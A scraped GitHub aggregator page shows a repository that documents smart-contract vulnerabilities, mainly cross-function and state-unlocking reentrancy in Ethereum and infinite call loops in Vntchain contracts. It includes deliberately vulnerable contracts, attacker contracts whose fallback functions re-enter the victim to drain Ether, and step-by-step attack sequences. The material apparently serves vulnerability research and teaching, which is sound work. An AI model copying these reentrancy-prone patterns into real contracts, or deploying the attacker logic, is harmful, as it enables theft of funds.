Git Product home page Git Product logo

smartcontracts's Introduction

Smart contracts based on Ethereum and Vntchain (v1.0.0)

This is a repository containing smart contracts based on Ethereum and Vntchain.

Reentrancy Risk of Ethereum Smart Contract

Cross-function reentrancy.sol

Attackers probably produce attacks using two different functions that share the same state. Generally, these attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares a state with another function that has a desirable effect on the attacker. ย 

Sharing-variable reentrancy.sol

A reentrancy attack also may appear in such a situation, in which a vulnerable function shares interval states with another function that has a desirable effect on the attacker.

Infinite Loop Risk of Vntchain smart Contract

Regardless of practical significance, we categorize specific infinite loop instances of smart contracts based on Vntchain into four types: For Loop, While Loop, Function Call cycle, and Fallback Call cycle. In what follows, we shortly recapitulate the four representative instances.

For_cycle.c

This is a typical example of "For cycle".

While_cycle.c

This is a typical example of "While cycle".

Function_call_cycle.c

This is a typical example of "Function Call cycle".

Fallback_call_cycle.c

This is a typical example of "Fallback Call cycle".

smartcontracts's People

Contributors

messi-q avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

smartcontracts's Issues

Infinite Loop Bugs on Vntchain Smart Contracts

Vulnerability Type

Infinite Loop Bugs

Abstract

For this contract, we actually reveal an infinite loop situation based on Vntchain smart contract, which indicates the call ring of functions. On one hand, with the mechanism of fallback function, the execution of a smart contract will fall into the fallback function once the input is empty or error. Another situation is that there exists a mutual invocation between functions in a single contract.

1. Infinite_loop_fallback_ring.c

Details

At first, the initial attack will call the function withdraw of contract Vulnerable.

// initial attack
void attack () {
  CallParams prams = {Address("0xaaaa"), U256(10000), 100000};  // "0xaaaa" represents Vulnerable contract.
  withdraw(prams, 100);
}

Then, the upcoming operation is amount-check (i.e., checkAmount) that set in the function withdraw.

// withdraw asset
void withdraw(uint256 amount) {
  checkAmount(); // input error or input empty
  address addr = GetSender();
  uint256 balance = accounts.value.balance;
  if (balance >= amount) {
    TransferFromContract(addr, amount);
  }
}

// check if the amount is enough
void checkAmount(uint256 amount) {
  Require(U256_Cmp(amount, U256(0) == 1), "amount must > 0");
  address from = GetSender();
  accounts.key = from;
  uint256 balance = accounts.value.balance;
  PrintAddress("get sender:", from);
  PrintUint256T("get balance:", balance);
  Require(U256_Cmp(U256SafeSub(balance, amount), 0) != -1,
          "No enough money to bet");
}

However, due to the input to the function checkAmount is empty or error, it will automatically activate the fallback function. Afterwards, the fallback function repeatedly calls the function withdraw, which triggers the checkAmount to be called again. Finally, this will form the call ring due to the operation hidden in the fallback function. It does not only consume the gas but also causes the Vnt (the digital currency of Vntchian) losses.

// fallback function
$_(){ 
  count++;
  if (count < 1000){ 
    withdraw(amount);
  }
}

Notably, we argue that it may cause the call ring due to the fallback function. Owing to the fallback mechanism of Vntchain smart contracts, the execution of fallback function can automatically occur once the input data of the caller is empty or error, apart from the example introduced in this issue, the other kinds of instances of the infinite loop might be caused by the hidden malicious call.

We show that a vivid picture is described as follows: fallback_call_ring.pdf

Specific Attack Procedures

First step: attack (Attacker) -> withdraw (Vulnerable);
Second step: withdraw (Vulnerable) -> checkAmount (Vulnerable)
Third step: checkAmount (Vulnerable) -> fallback (Vulnerable) (automatically triggered as the input is empty or error)
Fourth step: fallback (Vulnerable) -> withdraw (Vulnerable) -> checkAmount (Vulnerable) -> fallback (Vulnerable)
......

2. Infinite_loop_function_ring.c

Details

we excavate a simple function call ring in a single contract. First of all, the function checkAmount is called to tell if the amount is enough.

void checkAmount(uint256 amount) {  // check if the amount is enough
  Require(U256_Cmp(amount, U256(0) == 1), "amount must > 0");
  address from = GetSender();
  accounts.key = from;
  uint256 balance = accounts.value.balance;
  PrintAddress("get sender:", from);
  PrintUint256T("get balance:", balance);
  Require(U256_Cmp(U256SafeSub(balance, amount), 0) != -1,
          "No enough money to bet");
  GetAmount(amount);
}

Noticed, after performing the checkAmount operation, there is a GetAmount operation called by checkAmount.

UNMUTABLE
uint256 GetAmount(uint256 amount) {  // get Vnt
  checkAmount(amount);
  return GetAmountFromAddress(GetSender()); 
}

However, in the function GetAmount, there is also a check operation checkAmount**, which causes the function GetAmount to call back the function checkAmount, thus forming a function call loop.

Conclusion

All in all, from the perspective of fallback function, the infinite loop can be probably triggered by the specific operations hidden in the fallback function. If the input data is empty or error, it will probably make the control flow enter the fallback function. From the most ordinary perspective, the mutual calls between functions will also trigger an infinite loop, causing gas and Vnt (the currency of Vntchain) to be consumed.

Reference

https://github.com/vntchain
ethereum/solidity#104

Cross-function Reentrancy Vulnerability In Ethereum Smart Contracts

Reentrancy_cross_function.sol

Vulnerability Type

Cross Function Reentrancy Bug

Abstract

For this contract, we present a complex but common cross-function attack scenario, exploiting the reentrancy vulnerability. This contract Vulnerable has a function withdraw that can transfer Ether to a user's address. The fallback function hidden in the contract Attacker will be invoked automatically when receiving the transferred Ether. Specifically, there is a cross-function mechanism, which exploits the intermediary to steal money.

Details

At first, the contract Attacker calls the function getBonus to obtain the bonus in the function attack of Vulnerable, aiming to initiates the attack.

# initial attack function
function attack(){
    vul.getBonus(_owner);
}

Due to the operation of getting a bonus, the function getBonus involves the transfer operation (i.e., recipient.call.value(amountToWithdraw)() == false), which will automatically trigger the fallback function of Attacker.

# getBonus function
function getBonus(address recipient) public {
      uint amountToWithdraw = rewardsForA[recipient];
      rewardsForA[recipient] = 0;
      if (recipient.call.value(amountToWithdraw)() == false) {
              throw;
      }
      totalbalance -= amountToWithdraw;
}

Then, the fallback function of contract Attacker maliciously invokes the function withdraw to withdraw its Ether.

# fallback function
function () payable{
     count++;
     if(count<10){
       vul.withdraw(1 ether);
     }
}

# withdraw function
function withdraw(unit _amount) public {   
    msg.sender.call.value(_amount)();
    balances[msg.sender] -=_amount;
    totalbalance -= _amount;
}

However, the function withdraw also trigger the fallback function, which causes the recursive calls. By exploiting the reentrant call, the Attacker can access to the contract Vulnerable to steal Ether until all its Ether is exhausted.

We show that a vivid picture is described as cross-function.pdf

Specific Attack Procedures

First step: attack (Attacker) -> getBonus (Vulnerable);
Second step: withdraw (Vulnerable) -> fallback (Attacker) (Automatically triggered)
Third step: fallback (Attacker) -> withdraw (Vulnerable)
Fourth step: withdraw (Vulnerable) -> fallback (Attacker) -> withdraw (Vulnerable)
......

Conclusion

All in all, this cross-function reentrancy attack is possible when a vulnerable function shares the state with another function that has a desirable effect on the attacker. This reentrancy situation is not uncommon, that is, the use of intermediate functions to trigger the fallback function and a reentrancy attack.

Reference

https://hackernoon.com/smart-contract-attacks-part-1-3-attacks-we-should-all-learn-from-the-dao-909ae4483f0a
https://consensys.github.io/smart-contract-best-practices/known_attacks/

State Unlocking Reentrancy Vulnerability In Ethereum Smart Contracts

Reentrancy_state_unlocking.sol

Vulnerability Type

State-unlocking Reentrancy Bug

Abstract

We show a state-unlocking reentrancy bus in this contract that actually reflects a situation: a vulnerable function shares interval states with another function that has a desirable effect for the attacker. Specifically, this is one kind of reentrancy situation that can be defined as the state-unlocking reentrancy.

Details

At first, the contract Malicious plays an attack-agent role by starting the function attack to call the function GetFirstWithdrawBonus of contract Vulnerable.

 // initial attack
 function attack(){
  vul.GetFirstWithdrawBonus(_owner);
 }

Then, as the function GetFirstWithdrawBonus directly calling another function WithdrawReward, the contract Vulnerable transfers Ether to contract Malicious.

 // Get first Bonus
function GetFirstWithdrawBonus(address recipient) public {
      if (claimedBonus[recipient] == false) {
           throw;
      }
      rewardsForA[recipient] += 100;
      WithdrawReward(recipient); 
      //claimedBonus has been set to false, so reentry is impossible
      claimedBonus[recipient] = false;
}

// Withdraw reward
function WithdrawReward(address recipient) public {
      uint amountToWithdraw = rewardsForA[recipient];
      rewardsForA[recipient] = 0;
      if (recipient.call.value(amountToWithdraw)() == false) {
           throw;
      }
}

At this point, the fallback function of contract Malicious will be activated automatically when receiving the transferred Ether from Vulnerable. Since the contract Malicious invokes the function GetFirstWithdrawBonus in its fallback function, it can re-enter the function WithdrawReward by a chain of calls (i.e., fallback -> GetFirstWithdrawBonus -> WithdrawReward -> ...).

// fallback function
function () payable{
   count++;
   if(count < 10){
      vul.GetFirstWithdrawBonus(_owner);
   }
}

// fallback call the GetFirstWithdrawBonus
function GetFirstWithdrawBonus(address recipient) public {
      if (claimedBonus[recipient] == false) {
           throw;
      }
      rewardsForA[recipient] += 100;
      WithdrawReward(recipient); 
      //claimedBonus has been set to false, so reentry is impossible
      claimedBonus[recipient] = false;
 }

// Withdraw reward
function WithdrawReward(address recipient) public {
      uint amountToWithdraw = rewardsForA[recipient];
      rewardsForA[recipient] = 0;
      if (recipient.call.value(amountToWithdraw)() == false) {
           throw;
      }
}

In particular, the reward of Malicious is added by 100 before calling the function WithdrawReward, thus it can steal ether from Vulnerable again and again.

We show that a vivid picture is described as: state_unlocking.pdf

Specific Attack Procedures

First step: attack (Malicious) -> GetFirstWithdrawBonus (Vulnerable);
Second step: GetFirstWithdrawBonus (Vulnerable) -> WithdrawReward (Vulnerable)
Third step: WithdrawReward (Vulnerable) -> fallback (Malicious) (automatically triggered)
Fourth step: fallback (Malicious) -> GetFirstWithdrawBonus (Vulnerable) -> WithdrawReward (Vulnerable)
......

Conclusion

All in all, this reentrancy attack utilizes the shared interval states (i.e., intermediary function) to steal the Ether from the vulnerable contract. Also, this is a trick for exploiting the control dependencies between functions, causing the reentrancy attack.

Reference

https://consensys.github.io/smart-contract-best-practices/known_attacks/
https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.